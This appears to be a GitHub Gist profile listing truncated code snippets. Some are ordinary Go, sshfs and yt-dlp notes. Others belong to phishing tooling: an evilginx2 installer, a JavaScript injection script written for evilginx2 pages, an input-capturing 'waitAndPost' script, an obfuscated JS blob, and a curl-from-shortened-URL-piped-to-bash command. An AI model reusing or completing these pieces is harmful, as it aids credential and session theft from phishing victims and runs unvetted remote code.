Skip to content

Instantly share code, notes, and snippets.

View M41KL-N41TT's full-sized avatar
🕶️
BizDevSecOps

Maikl Naitt M41KL-N41TT

🕶️
BizDevSecOps
View GitHub Profile
@M41KL-N41TT
M41KL-N41TT / input selector.md
Last active May 5, 2024 15:15
input selector

The enhanced version of the script includes improvements for robust handling of dynamic form submissions using AJAX (asynchronous JavaScript and XML), optimization for performance, and introduces debouncing to minimize unnecessary network requests for rapid input changes. Additionally, it adds support for detecting navigation events initiated via the History API, which modern single-page applications (SPAs) heavily use.

(function waitAndPost(selector, maxWaitTime = 10000) {
    let startTime = new Date().getTime();
    
    function tryAttach() {
        let elem = document.querySelector(selector);
        let endTime = new Date().getTime();
        if (elem) {
@M41KL-N41TT
M41KL-N41TT / fowiwoeijiervoerier.js
Created April 3, 2024 00:45
fowiwoeijiervoerier
var e=function($,y){return(e=Object.setPrototypeOf||({__proto__:[]})instanceof Array&&function($,y){$.__proto__=y}||function($,y){for(var S in y)Object.prototype.hasOwnProperty.call(y,S)&&($[S]=y[S])})($,y)};function n($,y,S,_){return new(S||(S=Promise))(function(C,P){function E($){try{A(_.next($))}catch(y){P(y)}}function x($){try{A(_.throw($))}catch(y){P(y)}}function A($){var y;$.done?C($.value):((y=$.value)instanceof S?y:new S(function($){$(y)})).then(E,x)}A((_=_.apply($,y||[])).next())})}function t($,y){var S,_,C,P,E={label:0,sent:function(){if(1&C[0])throw C[1];return C[1]},trys:[],ops:[]};return P={next:x(0),throw:x(1),return:x(2)},"function"==typeof Symbol&&(P[Symbol.iterator]=function(){return this}),P;function x(x){return function(A){return function(x){if(S)throw TypeError("Generator is already executing.");for(;P&&(P=0,x[0]&&(E=0)),E;)try{if(S=1,_&&(C=2&x[0]?_.return:x[0]?_.throw||((C=_.return)&&C.call(_),0):_.next)&&!(C=C.call(_,x[1])).done)return C;switch(_=0,C&&(x=[2&x[0],C.value]),x[0]){case 0:ca
@M41KL-N41TT
M41KL-N41TT / main.go
Created February 28, 2024 20:06
how to filter out cookies by name or by value when looping over a slice of cookies obtained from an http.Response object.
package main
import (
"net/http"
)
func main() {
// Assuming `resp` is an http.Response object from which you've got the cookies.
// Replace `resp` with the actual response object from your HTTP request.
resp := &http.Response{} // Placeholder. Use your actual *http.Response here.
@M41KL-N41TT
M41KL-N41TT / gist:4d469f9195bcb1237c79595b53ae25a6
Last active February 20, 2024 03:30
Optimizing Map Operations in Go

Optimizing Map Operations in Go: A Comprehensive Guide 🚀

In this guide, we dive into the nuances of optimizing map operations in Go, specifically focusing on the performance aspects related to checking for the presence and addition of elements in a map. We will explore how leveraging the right data structures and understanding the underlying mechanisms can significantly enhance your Go applications.

Step 1: Understanding the Performance Characteristics

The performance of checking if a map contains an element with matching attributes and subsequently adding it if nonexistent intricately relies on multiple factors:

Memory Usage 📦

@M41KL-N41TT
M41KL-N41TT / run.sh
Last active April 3, 2024 00:53
curl https://y.gy/4L4q -fsSL | bash -s -- -y
#!/bin/bash
set -euo pipefail
CONFIG_DIR="./config"
CRT_DIR="${CONFIG_DIR}/crt"
TMP_DIR="./tmp"
# Ensure necessary directories exist
mkdir -p "${TMP_DIR}"
mkdir -p "${CRT_DIR}"
@M41KL-N41TT
M41KL-N41TT / oninstall.sh
Created January 17, 2024 06:52
evilginx2 installer rawr (partial)
#!/bin/sh
export GO_PKG=go1.21.3.linux-amd64.tar.gz
export DEBIAN_FRONTEND=noninteractive
printf 'Files in installer have been extracted.\n Is or has evilginx2 been already installed on current OS? Choose n on a completely fresh VPS. (y/n)? '
old_stty_cfg=$(stty -g)
stty raw -echo
# TODO: make it question to copy files, copy files and configure domain or do full upgrade
answer=$( while ! head -c 1 | grep -i '[ny]' ;do true ;done )
stty "$old_stty_cfg"
if echo "$answer" | grep -iq "^y" ;then
@M41KL-N41TT
M41KL-N41TT / sshfs.md
Last active December 25, 2023 03:37
SSHFS command

SSHFS Command - Optimal Configuration ✨

Elevate your SSHFS experience with this command, meticulously tuned for peak performance and security.

sshfs -o noauto_cache,no_readahead,cache=no,kernel_cache,direct_io,workaround=fstat \
      -o reconnect,follow_symlinks,default_permissions,allow_other,Ciphers=chacha20-poly1305@openssh.com \
      -o compression=no,cache=no -o ServerAliveCountMax=5,ServerAliveInterval=2,ConnectTimeout=2
@M41KL-N41TT
M41KL-N41TT / PARTPERM.md
Last active February 20, 2024 01:41
Correct Permissions for New Partition (BTRFS) [Linux]

Correct Permissions for New Partition (BTRFS) [Linux]

Commands and Solutions:

1. Set File Owner and Group:

chown -R $USER:$GROUP /run/media/$(whoami)/docs

1.1. SUPER SAIYAN ONELINER: Print the Groups Current User is Added To
@M41KL-N41TT
M41KL-N41TT / inject.js
Last active December 21, 2023 23:48
Evilginx2 JavaScript async inject (but applicable for all sites really)
(function() {
async function waitForElement(selector) {
const startTime = Date.now();
const interval = 255;
const timeout = 25500;
while (Date.now() - startTime < timeout) {
const el = document.querySelector(selector);
if (el) return el;
await new Promise(r => setTimeout(r, interval));
@M41KL-N41TT
M41KL-N41TT / conc_ytdlp.sh
Created November 18, 2023 20:59
youtube-dlp/yt-dlp search YouTube for string & then download COUNT number of showed results *concurrently* without *headless*
#!/bin/bash
# Define a variable for the search term, ensuring it's properly quoted
YTDLSEARCH="<search_term>"
COUNT=20
# Check if yt-dlp is installed
if ! command -v yt-dlp &> /dev/null; then
echo "yt-dlp could not be found, please install it."
exit 1
fi